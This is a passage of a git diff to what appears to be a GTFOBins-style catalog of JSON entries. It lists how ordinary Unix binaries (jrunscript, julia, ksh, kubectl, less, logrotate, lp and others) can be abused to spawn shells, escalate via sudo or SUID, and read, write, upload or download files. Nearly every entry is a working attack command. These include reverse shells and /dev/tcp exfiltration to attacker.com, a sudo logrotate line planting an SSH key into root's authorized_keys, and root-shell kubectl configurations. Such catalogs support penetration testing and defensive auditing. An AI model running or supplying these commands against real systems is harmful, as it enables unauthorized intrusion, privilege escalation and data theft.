been found working in macOS but failing on Linux systems.", - "code": "echo \"Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \\$@|sh\\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()\" | ./jjs" + "code": "echo \"Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \\$@|sh\\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()\" | ./jjs\n" } ], "sudo": [ { - "code": "echo \"Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()\" | sudo jjs" + + "code": "echo \"Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()\" | sudo jjs\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/joe.json b/gtfo/data/joe.json new file mode 100644 index 0000000..15876d1 --- /dev/null +++ b/gtfo/data/joe.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "joe\n^K!/bin/sh\n" + } + ], + "limited-suid": [ + { + + "code": "./joe\n^K!/bin/sh\n" + } + ], + "sudo": [ + { + + "code": "sudo joe\n^K!/bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/join.json b/gtfo/data/join.json index 29cbc60..b891a97 100644 --- a/gtfo/data/join.json +++ b/gtfo/data/join.json @@ -2,17 +2,20 @@ "functions": { "file-read": [ { - "code": "join -a 2 /dev/null [file]\n" + + "code": "LFILE=file_to_read\njoin -a 2 /dev/null $LFILE\n" } ], "suid": [ { - "code": "join -a 2 /dev/null [file]\n" + + "code": "LFILE=file_to_read\n./join -a 2 /dev/null $LFILE\n" } ], "sudo": [ { - "code": "sudo join -a 2 /dev/null [file]\n" + + "code": "LFILE=file_to_read\nsudo join -a 2 /dev/null $LFILE\n" } ] } diff --git a/gtfo/data/journalctl.json b/gtfo/data/journalctl.json index 80ff1cf..9c8c3b0 100644 --- a/gtfo/data/journalctl.json +++ b/gtfo/data/journalctl.json @@ -1,15 +1,16 @@ { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply. This might not work if run by unprivileged users depending on the system configuration.", "functions": { "shell": [ { + "code": "journalctl\n!/bin/sh\n" } ], "sudo": [ { + "code": "sudo journalctl\n!/bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/jq.json b/gtfo/data/jq.json index 1886fec..a7e4902 100644 --- a/gtfo/data/jq.json +++ b/gtfo/data/jq.json @@ -2,18 +2,21 @@ "functions": { "file-read": [ { - "code": "jq -Rr . [file]\n" + + "code": "LFILE=file_to_read\njq -Rr . \"$LFILE\"\n" } ], "suid": [ { - "code": "./jq -Rr . [file]\n" + + "code": "LFILE=file_to_read\n./jq -Rr . \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo jq -Rr . [file]\n" + + "code": "LFILE=file_to_read\nsudo jq -Rr . \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/jrunscript.json b/gtfo/data/jrunscript.json index 0429293..4f6baf8 100644 --- a/gtfo/data/jrunscript.json +++ b/gtfo/data/jrunscript.json @@ -1,43 +1,46 @@ { - "description": "This tool is installed starting with Java SE 6.", "functions": { "shell": [ { - "code": "jrunscript -e \"exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')\"" + + "code": "jrunscript -e \"exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')\"\n" } ], "reverse-shell": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.", - "code": "jrunscript -e 'var p=new java.lang.ProcessBuilder(\"/bin/bash\", \"-i\").redirectErrorStream(true).start();\nvar s=new java.net.Socket(\"[host]\",[port]);\nvar pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();\nvar po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){\nwhile(pi.available()>0)so.write(pi.read());\nwhile(pe.available()>0)so.write(pe.read());\nwhile(si.available()>0)po.write(si.read());\nso.flush();po.flush();\njava.lang.Thread.sleep(50);\ntry {p.exitValue();break;}catch (e){}};p.destroy();s.close();'\n" + "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\njrunscript -e 'var host='\"'\"\"$RHOST\"\"'\"'; var port='\"$RPORT\"';\nvar p=new java.lang.ProcessBuilder(\"/bin/bash\", \"-i\").redirectErrorStream(true).start();\nvar s=new java.net.Socket(host,port);\nvar pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();\nvar po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){\nwhile(pi.available()>0)so.write(pi.read());\nwhile(pe.available()>0)so.write(pe.read());\nwhile(si.available()>0)po.write(si.read());\nso.flush();po.flush();\njava.lang.Thread.sleep(50);\ntry {p.exitValue();break;}catch (e){}};p.destroy();s.close();'\n" } ], "file-download": [ { "description": "Fetch a remote file via HTTP GET request.", - "code": "jrunscript -e \"cp('[url]','[file]')\"\n" + "code": "URL=http://attacker.com/file_to_get\nLFILE=file_to_save\njrunscript -e \"cp('$URL','$LFILE')\"\n" } ], "file-write": [ { - "code": "jrunscript -e 'var fw=new java.io.FileWriter(\"[file]\"); fw.write(\"DATA\"); fw.close();'" + + "code": "jrunscript -e 'var fw=new java.io.FileWriter(\"./file_to_write\"); fw.write(\"DATA\"); fw.close();'\n" } ], "file-read": [ { - "code": "jrunscript -e 'br = new BufferedReader(new java.io.FileReader(\"[file]\")); while ((line = br.readLine()) != null) { print(line); }'" + + "code": "jrunscript -e 'br = new BufferedReader(new java.io.FileReader(\"file_to_read\")); while ((line = br.readLine()) != null) { print(line); }'\n" } ], "suid": [ { "description": "This has been found working in macOS but failing on Linux systems.", - "code": "./jrunscript -e \"exec('/bin/sh -pc \\$@|sh\\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)')\"" + "code": "./jrunscript -e \"exec('/bin/sh -pc \\$@|sh\\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)')\"\n" } ], "sudo": [ { - "code": "sudo jrunscript -e \"exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')\"" + + "code": "sudo jrunscript -e \"exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/jtag.json b/gtfo/data/jtag.json new file mode 100644 index 0000000..68dc312 --- /dev/null +++ b/gtfo/data/jtag.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + + "code": "jtag --interactive\nshell /bin/sh\n" + } + ], + "sudo": [ + { + + "code": "sudo jtag --interactive\nshell /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/julia.json b/gtfo/data/julia.json new file mode 100644 index 0000000..5f5b303 --- /dev/null +++ b/gtfo/data/julia.json @@ -0,0 +1,46 @@ +{ + "functions": { + "shell": [ + { + + "code": "julia -e 'run(`/bin/sh`)'\n" + } + ], + "file-read": [ + { + + "code": "export LFILE=file_to_read\njulia -e 'print(open(f->read(f, String), ENV[\"LFILE\"]))'\n" + } + ], + "file-write": [ + { + + "code": "export LFILE=file_to_write\njulia -e 'open(f->write(f, \"DATA\"), ENV[\"LFILE\"], \"w\")'\n" + } + ], + "file-download": [ + { + + "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\njulia -e 'download(ENV[\"URL\"], ENV[\"LFILE\"])'\n" + } + ], + "reverse-shell": [ + { + "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\njulia -e 'using Sockets; sock=connect(ENV[\"RHOST\"], parse(Int64,ENV[\"RPORT\"])); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;'\n" + } + ], + "suid": [ + { + + "code": "./julia -e 'run(`/bin/sh -p`)'\n" + } + ], + "sudo": [ + { + + "code": "sudo julia -e 'run(`/bin/sh`)'\n" + } + ] + } +} diff --git a/gtfo/data/knife.json b/gtfo/data/knife.json new file mode 100644 index 0000000..3b54244 --- /dev/null +++ b/gtfo/data/knife.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + + "code": "knife exec -E 'exec \"/bin/sh\"'\n" + } + ], + "sudo": [ + { + + "code": "sudo knife exec -E 'exec \"/bin/sh\"'\n" + } + ] + } +} diff --git a/gtfo/data/ksh.json b/gtfo/data/ksh.json index c289a75..0f1dd9c 100644 --- a/gtfo/data/ksh.json +++ b/gtfo/data/ksh.json @@ -2,59 +2,63 @@ "functions": { "shell": [ { - "code": "ksh" + + "code": "ksh\n" } ], "reverse-shell": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.", - "code": "ksh -c 'ksh -i > /dev/tcp/[host]/[port] 2>&1 0>&1'\n" + "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nksh -c 'ksh -i > /dev/tcp/$RHOST/$RPORT 2>&1 0>&1'\n" } ], "file-upload": [ { "description": "Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.", - "code": "ksh -c 'echo -e \"POST / HTTP/0.9\\n\\n$(cat [file])\" > /dev/tcp/[host]/[port]'\n" + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nksh -c 'echo -e \"POST / HTTP/0.9\\n\\n$(cat $LFILE)\" > /dev/tcp/$RHOST/$RPORT'\n" }, { - "description": "Send local file using a TCP connection. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file.", - "code": "ksh -c 'cat [file] > /dev/tcp/[host]/[port]'\n" + "description": "Send local file using a TCP connection. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nksh -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'\n" } ], "file-download": [ { "description": "Fetch a remote file via HTTP GET request.", - "code": "ksh -c '{ echo -ne \"GET /[file] HTTP/1.0\\r\\nhost: [host]\\r\\n\\r\\n\" 1>&3; cat 0<&3; } \\\n 3<>/dev/tcp/[host]/[port] \\\n | { while read -r; do [ \"$REPLY\" = \"$(echo -ne \"\\r\")\" ] && break; done; cat; } > [file]'\n" + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_get\nksh -c '{ echo -ne \"GET /$LFILE HTTP/1.0\\r\\nhost: $RHOST\\r\\n\\r\\n\" 1>&3; cat 0<&3; } \\\n 3<>/dev/tcp/$RHOST/$RPORT \\\n | { while read -r; do [ \"$REPLY\" = \"$(echo -ne \"\\r\")\" ] && break; done; cat; } > $LFILE'\n" }, { - "description": "Fetch remote file using a TCP connection. Run 'nc -l -p [port] < [file]' on the attacker box to send the file.", - "code": "ksh -c 'cat < /dev/tcp/[host]/[port] > [file]'\n" + "description": "Fetch remote file using a TCP connection. Run `nc -l -p 12345 < \"file_to_send\"` on the attacker box to send the file.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_get\nksh -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'\n" } ], "file-write": [ { - "code": "ksh -c 'echo DATA > [file]'\n" + + "code": "export LFILE=file_to_write\nksh -c 'echo DATA > $LFILE'\n" } ], "file-read": [ { "description": "It trims trailing newlines.", - "code": "ksh -c 'echo \"$(<[file])\"'\n" + "code": "export LFILE=file_to_read\nksh -c 'echo \"$(<$LFILE)\"'\n" }, { "description": "It trims trailing newlines.", - "code": "ksh -c $'read -r -d \\x04 < [file]; echo \"$REPLY\"'\n" + "code": "export LFILE=file_to_read\nksh -c $'read -r -d \\x04 < \"$LFILE\"; echo \"$REPLY\"'\n" } ], "suid": [ { - "code": "./ksh -p" + + "code": "./ksh -p\n" } ], "sudo": [ { - "code": "sudo ksh" + + "code": "sudo ksh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/ksshell.json b/gtfo/data/ksshell.json index fc3cb0d..f040697 100644 --- a/gtfo/data/ksshell.json +++ b/gtfo/data/ksshell.json @@ -1,20 +1,22 @@ { - "description": "Each line is corrupted by a prefix string. Also consider that lines are actually parsed as 'kickstart' scripts thus some file contents may lead to unexpected results.\n", "functions": { "file-read": [ { - "code": "ksshell -i [file]\n" + + "code": "LFILE=file_to_read\nksshell -i $LFILE\n" } ], "suid": [ { - "code": "./ksshell -i [file]\n" + + "code": "LFILE=file_to_read\n./ksshell -i $LFILE\n" } ], "sudo": [ { - "code": "sudo ksshell -i [file]\n" + + "code": "LFILE=file_to_read\nsudo ksshell -i $LFILE\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/ksu.json b/gtfo/data/ksu.json new file mode 100644 index 0000000..16f0d36 --- /dev/null +++ b/gtfo/data/ksu.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + + "code": "sudo ksu -q -e /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/kubectl.json b/gtfo/data/kubectl.json new file mode 100644 index 0000000..3e21276 --- /dev/null +++ b/gtfo/data/kubectl.json @@ -0,0 +1,30 @@ +{ + "functions": { + "file-upload": [ + { + "description": "It serves files from a specified directory via HTTP, i.e., `http://:4444/x/`.", + "code": "LFILE=dir_to_serve\nkubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/\n" + } + ], + "suid": [ + { + "description": "It serves files from a specified directory via HTTP, i.e., `http://:4444/x/`.", + "code": "LFILE=dir_to_serve\n./kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/\n" + }, + { + "description": "It pops a new privileged shell using custom configuration", + "code": "cat << EOF > /tmp/config\napiVersion: v1\nclusters:\n- cluster:\n server: https://test\n name: kubernetes\ncontexts:\n- context:\n cluster: kubernetes\n user: kubernetes-admin\n name: kubernetes-admin@kubernetes\ncurrent-context: kubernetes-admin@kubernetes\nkind: Config\npreferences: {}\nusers:\n- name: kubernetes-admin\n user:\n exec:\n apiVersion: client.authentication.k8s.io/v1\n command: /bin/bash\n args: \n - \"-p\"\n - \"-c\"\n - \"/bin/bash -p /dev/tty 2>/dev/tty\"\n interactiveMode: Always\nEOF\n./kubectl get pods --kubeconfig=/tmp/config \n" + } + ], + "sudo": [ + { + "description": "It serves files from a specified directory via HTTP, i.e., `http://:4444/x/`.", + "code": "LFILE=dir_to_serve\nsudo kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/\n" + }, + { + "description": "It pops a new privileged shell using custom configuration", + "code": "cat << EOF > /tmp/config\napiVersion: v1\nclusters:\n- cluster:\n server: https://test\n name: kubernetes\ncontexts:\n- context:\n cluster: kubernetes\n user: kubernetes-admin\n name: kubernetes-admin@kubernetes\ncurrent-context: kubernetes-admin@kubernetes\nkind: Config\npreferences: {}\nusers:\n- name: kubernetes-admin\n user:\n exec:\n apiVersion: client.authentication.k8s.io/v1\n command: /bin/bash\n args: \n - \"-p\"\n - \"-c\"\n - \"/bin/bash -p /dev/tty 2>/dev/tty\"\n interactiveMode: Always\nEOF\nsudo kubectl get pods --kubeconfig=/tmp/config \n" + } + ] + } +} diff --git a/gtfo/data/last.json b/gtfo/data/last.json new file mode 100644 index 0000000..75d6ced --- /dev/null +++ b/gtfo/data/last.json @@ -0,0 +1,16 @@ +{ + "functions": { + "file-read": [ + { + "description": "It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system. The output might be corrupted or incomplete if the file does not follow the expected database format. Available in util-linux on CentOS, RHEL, Fedora.", + "code": "LFILE=file_to_read\nlast -f $LFILE -a\n" + } + ], + "sudo": [ + { + "description": "If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.", + "code": "LFILE=file_to_read\nlast -f $LFILE -a\n" + } + ] + } +} diff --git a/gtfo/data/lastb.json b/gtfo/data/lastb.json new file mode 100644 index 0000000..75d6ced --- /dev/null +++ b/gtfo/data/lastb.json @@ -0,0 +1,16 @@ +{ + "functions": { + "file-read": [ + { + "description": "It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system. The output might be corrupted or incomplete if the file does not follow the expected database format. Available in util-linux on CentOS, RHEL, Fedora.", + "code": "LFILE=file_to_read\nlast -f $LFILE -a\n" + } + ], + "sudo": [ + { + "description": "If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.", + "code": "LFILE=file_to_read\nlast -f $LFILE -a\n" + } + ] + } +} diff --git a/gtfo/data/latex.json b/gtfo/data/latex.json index 648edb5..1b9af46 100644 --- a/gtfo/data/latex.json +++ b/gtfo/data/latex.json @@ -2,26 +2,35 @@ "functions": { "shell": [ { + "code": "latex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n" } ], "file-read": [ { "description": "The read file will be part of the output.", - "code": "latex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\nstrings article.dvi\n" + "code": "latex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{file_to_read}\\end{document}'\nstrings article.dvi\n" + } + ], + "file-write": [ + { + "description": "", + "code": "latex '\\documentclass{article}\\begin{document}\\immediate\\openout\\tempfile=file_to_write\\immediate\\write\\tempfile{content_to_write}\\end{document}'\n" } ], "sudo": [ { "description": "The read file will be part of the output.", - "code": "sudo latex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\nstrings article.dvi\n" + "code": "sudo latex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{file_to_read}\\end{document}'\nstrings article.dvi\n" }, { + "code": "sudo latex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n" } ], "limited-suid": [ { + "code": "./latex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n" } ] diff --git a/gtfo/data/latexmk.json b/gtfo/data/latexmk.json index 9ca2516..790274e 100644 --- a/gtfo/data/latexmk.json +++ b/gtfo/data/latexmk.json @@ -1,26 +1,29 @@ { - "description": "This allows to execute Perl code.", "functions": { "shell": [ { - "code": "latexmk -e 'exec \"/bin/sh\";'" + + "code": "latexmk -e 'exec \"/bin/sh\";'\n" }, { - "code": "latexmk -latex='/bin/sh" + + "code": "latexmk -latex='/bin/sh #' /dev/null\n" } ], "file-read": [ { - "code": "latexmk -e 'open(X,\"[file]\");while(){print $_;}exit'" + + "code": "latexmk -e 'open(X,\"/etc/passwd\");while(){print $_;}exit'\n" }, { "description": "The read file will be part of the output.", - "code": "TF=$(mktemp)\necho '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}' >$TF\nstrings tmp.dvi\n" + "code": "TF=$(mktemp)\necho '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{file_to_read}\\end{document}' >$TF\nstrings tmp.dvi\n" } ], "sudo": [ { - "code": "sudo latexmk -e 'exec \"/bin/sh\";'" + + "code": "sudo latexmk -e 'exec \"/bin/sh\";'\n" } ] } diff --git a/gtfo/data/ld.so.json b/gtfo/data/ld.so.json index 7994e55..3dc5dab 100644 --- a/gtfo/data/ld.so.json +++ b/gtfo/data/ld.so.json @@ -1,20 +1,22 @@ { - "description": "'ld.so' is the Linux dynamic linker/loader, its filename and location might change across distributions. The proper path is can be obtained with:\n```\n$ strings /proc/self/exe | head -1\n/lib64/ld-linux-x86-64.so.2\n```", "functions": { "shell": [ { - "code": "/lib/ld.so /bin/sh" + + "code": "/lib/ld.so /bin/sh\n" } ], "suid": [ { - "code": "./ld.so /bin/sh -p" + + "code": "./ld.so /bin/sh -p\n" } ], "sudo": [ { - "code": "sudo /lib/ld.so /bin/sh" + + "code": "sudo /lib/ld.so /bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/ldconfig.json b/gtfo/data/ldconfig.json index d30a57e..d9fe976 100644 --- a/gtfo/data/ldconfig.json +++ b/gtfo/data/ldconfig.json @@ -1,5 +1,4 @@ { - "description": "Follows a minimal example of how to use the described technique (details may change across different distributions). Run the code associated with the technique. Identify a target SUID executable, for example the 'libcap' library of 'ping':\n\n```\n$ ldd /bin/ping | grep libcap\n libcap.so.2 => /tmp/tmp.9qfoUyKaGu/libcap.so.2 (0x00007fc7e9797000)\n```\n\nCreate a fake library that spawns a shell at bootstrap:\n\n```\necho '#include \n\n__attribute__((constructor))\nstatic void init() {\n execl(\"/bin/sh\", \"/bin/sh\", \"-p\", NULL);\n}\n' >\"$TF/lib.c\"\n```\n\nCompile it with:\n\n```\ngcc -fPIC -shared \"$TF/lib.c\" -o \"$TF/libcap.so.2\"\n```\n\nRun 'ldconfig' again as described below then just run 'ping' to obtain a root shell:\n\n```\n$ ping\n# id\nuid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)\n```", "functions": { "sudo": [ { @@ -14,4 +13,4 @@ } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/less.json b/gtfo/data/less.json index b4ce288..b480927 100644 --- a/gtfo/data/less.json +++ b/gtfo/data/less.json @@ -2,39 +2,49 @@ "functions": { "shell": [ { + "code": "less /etc/profile\n!/bin/sh\n" }, { + "code": "VISUAL=\"/bin/sh -c '/bin/sh'\" less /etc/profile\nv\n" + }, + { + + "code": "less /etc/profile\nv:shell\n" } ], "file-read": [ { - "code": "less [file]" + + "code": "less file_to_read\n" }, { - "description": "This is useful when 'less' is used as a pager by another binary to read a different file.", - "code": "less /etc/profile\n:e [file]\n" + "description": "This is useful when `less` is used as a pager by another binary to read a different file.", + "code": "less /etc/profile\n:e file_to_read\n" } ], "file-write": [ { - "code": "echo DATA | less\n[file]\nq\n" + + "code": "echo DATA | less\nsfile_to_write\nq\n" }, { "description": "This invokes the default editor to edit the file. The file must exist.", - "code": "less [file]\nv\n" + "code": "less file_to_write\nv\n" } ], "sudo": [ { + "code": "sudo less /etc/profile\n!/bin/sh\n" } ], "suid": [ { - "code": "./less [file]" + + "code": "./less file_to_read\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/lessfilter.json b/gtfo/data/lessfilter.json new file mode 100644 index 0000000..af14f23 --- /dev/null +++ b/gtfo/data/lessfilter.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + "description": "This can read arbitrary files by creating a custom lessfilter script.\n", + "code": "echo '#!/bin/bash\ncat \"$1\"\nexit 0' > ~/.lessfilter\nchmod +x ~/.lessfilter\nexport LESSOPEN=\"|~/.lessfilter %s\"\nless /etc/passwd\n" + } + ], + "shell": [ + { + "description": "This can spawn an interactive shell by executing commands through lessfilter.\n", + "code": "echo '#!/bin/bash\n/bin/bash\nexit 0' > ~/.lessfilter\nchmod +x ~/.lessfilter\nexport LESSOPEN=\"|~/.lessfilter %s\"\nless anyfile\n" + } + ], + "command": [ + { + "description": "This executes arbitrary commands through the lessfilter mechanism.\n", + "code": "echo '#!/bin/bash\nCOMMAND\nexit 0' > ~/.lessfilter\nchmod +x ~/.lessfilter\nexport LESSOPEN=\"|~/.lessfilter %s\"\nless anyfile\n" + } + ] + } +} diff --git a/gtfo/data/lesspipe.json b/gtfo/data/lesspipe.json new file mode 100644 index 0000000..5168ea4 --- /dev/null +++ b/gtfo/data/lesspipe.json @@ -0,0 +1,16 @@ +{ + "functions": { + "file-read": [ + { + "description": "This can read files by modifying the system lesspipe script if writable.\n", + "code": "echo 'cat /etc/passwd' >> /usr/bin/lesspipe.sh\nless anyfile\n" + } + ], + "command": [ + { + "description": "This executes commands if the lesspipe script is writable.\n", + "code": "echo 'COMMAND' >> /usr/bin/lesspipe.sh\nless anyfile\n" + } + ] + } +} diff --git a/gtfo/data/lftp.json b/gtfo/data/lftp.json new file mode 100644 index 0000000..d4aca90 --- /dev/null +++ b/gtfo/data/lftp.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "lftp -c '!/bin/sh'\n" + } + ], + "limited-suid": [ + { + + "code": "./lftp -c '!/bin/sh'\n" + } + ], + "sudo": [ + { + + "code": "sudo lftp -c '!/bin/sh'\n" + } + ] + } +} diff --git a/gtfo/data/links.json b/gtfo/data/links.json new file mode 100644 index 0000000..5300ce9 --- /dev/null +++ b/gtfo/data/links.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nlinks \"$LFILE\"\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./links \"$LFILE\"\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo links \"$LFILE\"\n" + } + ] + } +} diff --git a/gtfo/data/ln.json b/gtfo/data/ln.json new file mode 100644 index 0000000..7069b53 --- /dev/null +++ b/gtfo/data/ln.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + + "code": "sudo ln -fs /bin/sh /bin/ln\nsudo ln\n" + } + ] + } +} diff --git a/gtfo/data/loginctl.json b/gtfo/data/loginctl.json new file mode 100644 index 0000000..1c100b5 --- /dev/null +++ b/gtfo/data/loginctl.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + + "code": "loginctl user-status\n!/bin/sh\n" + } + ], + "sudo": [ + { + + "code": "sudo loginctl user-status\n!/bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/logrotate.json b/gtfo/data/logrotate.json new file mode 100644 index 0000000..bb8b3af --- /dev/null +++ b/gtfo/data/logrotate.json @@ -0,0 +1,38 @@ +{ + "functions": { + "command": [ + { + "description": "Requires a logrotate policy which uses the `mail` directive. A hash should be used as the final character in the command, as it is run with a few arguments.", + "code": "COMMAND='id &> /tmp/output #'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\nlogrotate -m \"$TF\" -v -f logrotate.policy\n" + } + ], + "shell": [ + { + "description": "Requires a logrotate policy which uses the `mail` directive.", + "code": "COMMAND='/usr/bin/bash -i #'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\nlogrotate -m \"$TF\" -v -f logrotate.policy\n" + } + ], + "file-write": [ + { + "description": "Creates or overwrites the file with the exact text `logrotate state -- version 2`", + "code": "LFILE=file_to_write\nlogrotate -s \"$LFILE\" logrotate.policy\n" + }, + { + "description": "Creates or overwrites the file with junk data in combination with arbitrary data.", + "code": "LFILE=file_to_write\nDATA=data_to_write\nlogrotate -l \"$LFILE\" \"$DATA\"\n" + } + ], + "file-read": [ + { + "description": "Reads the first 'word'.", + "code": "LFILE=file_to_read\nlogrotate \"$LFILE\"\n" + } + ], + "sudo": [ + { + "description": "If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access. Note that this will overwrite `/etc/cron.daily/man-db` with a cronjob.", + "code": "sudo logrotate -l /etc/cron.daily/man-db '2>/dev/null;wget https://example.com/ssh.key -O /root/.ssh/authorized_keys2; exit 0;'\n" + } + ] + } +} diff --git a/gtfo/data/logsave.json b/gtfo/data/logsave.json index 58033a0..cbef686 100644 --- a/gtfo/data/logsave.json +++ b/gtfo/data/logsave.json @@ -2,18 +2,21 @@ "functions": { "shell": [ { - "code": "logsave /dev/null /bin/sh -i" + + "code": "logsave /dev/null /bin/sh -i\n" } ], "sudo": [ { - "code": "sudo logsave /dev/null /bin/sh -i" + + "code": "sudo logsave /dev/null /bin/sh -i\n" } ], "suid": [ { - "code": "./logsave /dev/null /bin/sh -i -p" + + "code": "./logsave /dev/null /bin/sh -i -p\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/look.json b/gtfo/data/look.json index 0236da2..2dd6a7e 100644 --- a/gtfo/data/look.json +++ b/gtfo/data/look.json @@ -2,18 +2,21 @@ "functions": { "file-read": [ { - "code": "look '' \"[file]\"\n" + + "code": "LFILE=file_to_read\nlook '' \"$LFILE\"\n" } ], "suid": [ { - "code": "./look '' \"[file]\"\n" + + "code": "LFILE=file_to_read\n./look '' \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo look '' \"[file]\"\n" + + "code": "LFILE=file_to_read\nsudo look '' \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/lp.json b/gtfo/data/lp.json new file mode 100644 index 0000000..eee46aa --- /dev/null +++ b/gtfo/data/lp.json @@ -0,0 +1,10 @@ +{ + "functions": { + "file-upload": [ + { + "description": "To collect the file run the following on the attacker box (this requires `cups` to be installed):\n\n1. `lpadmin -p printer -v socket://localhost -E` to create a virtual printer;\n2. `lpadmin -d printer` to set the new printer as default;\n3. `cupsctl --remote-any` to enable printing from the Internet;\n4. `nc -lkp 9100` to receive the file.\n\nSend a local file to a CUPS server.\n", + "code": "LFILE=file_to_send\nRHOST=attacker.com\nlp $LFILE -h $RHOST\n" + } + ] + } +} diff --git a/gtfo/data/ltrace.json b/gtfo/data/ltrace.json index 5125a92..4228908 100644 --- a/gtfo/data/ltrace.json +++ b/gtfo/data/ltrace.json @@ -3,23 +3,25 @@ "file-read": [ { "description": "The file is parsed as a configuration file and its content is shown as error messages, thus this is not suitable to exfiltrate binary files.", - "code": "ltrace -F [file] /dev/null\n" + "code": "LFILE=file_to_read\nltrace -F $LFILE /dev/null\n" } ], "file-write": [ { - "description": "The data to be written appears amid the library function call log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough. More generally, any binary that executes whatever library function call passing arbitrary data can be used in place of 'ltrace -F [data]'.", - 